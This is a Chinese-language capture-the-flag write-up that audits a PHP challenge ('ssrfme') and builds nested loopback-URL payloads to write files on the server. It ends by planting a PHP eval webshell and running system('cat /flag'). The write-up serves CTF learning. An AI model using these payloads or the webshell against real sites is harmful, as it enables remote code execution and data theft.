ssrfme
题目:
打开环境,得到:
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
进行简单的代码审计
可以看到这一处进行了过滤
if(strpos($path,'..') > -1)
也就是我们传入的path里不能带有..
if(strpos($url,'http://127.0.0.1/') === 0)
这一处也强行要让传入的file等于http://127.0.0.1/
,先一步一步的试下去:
传入file=http://127.0.0.1/
加上path传入?file=http://127.0.0.1/&path=yy.php
成功传入,访问upload/yy.php
,发现出现的还是index.php的内容
这应该是把index.php里的内容写入到了yy.php里,接下来试试传入path=<?php phpinfo();?>
,payload也就是:
file=http://127.0.0.1/&path=<?php%20phpinfo();?>
所以还得加上路径:?file=http://127.0.0.1/&path=<?php%20phpinfo();?>&path=yy.php
:
访问发现还是index.php
里的内容,也就是说虽然写入成功了,但<?php phpinfo();?>
却没有被写入进去,接下来可以将第一个&变为?,让其明白是穿参数进去:?file=http://127.0.0.1/?path=<?php%20phpinfo();?>&path=yy.php
访问得到:
emmmmm
好像连if都没绕过去,那就在前面再加一个file=http://127.0.0.1/
,构造payload:?file=http://127.0.0.1/?file=http://127.0.0.1/?path=<?php phpinfo();?>&path=yy.php
访问:
好像也还是没有成功写入phpinfo(),但也没有出现Index.php的内容,所以大问题应该是没有的,就是中间肯定还有小问题,于是继续把之前改过的问号给改回去,并将其编码,构造payload:?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=yy.php
访问
可以看到成功写入了phpinfo,接下来就简单了,写个一句话木马上传就行:
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php @eval($_GET['cmd']); ?>&path=yy.php
访问,然后构造cmd=system(‘cat /flag’);即可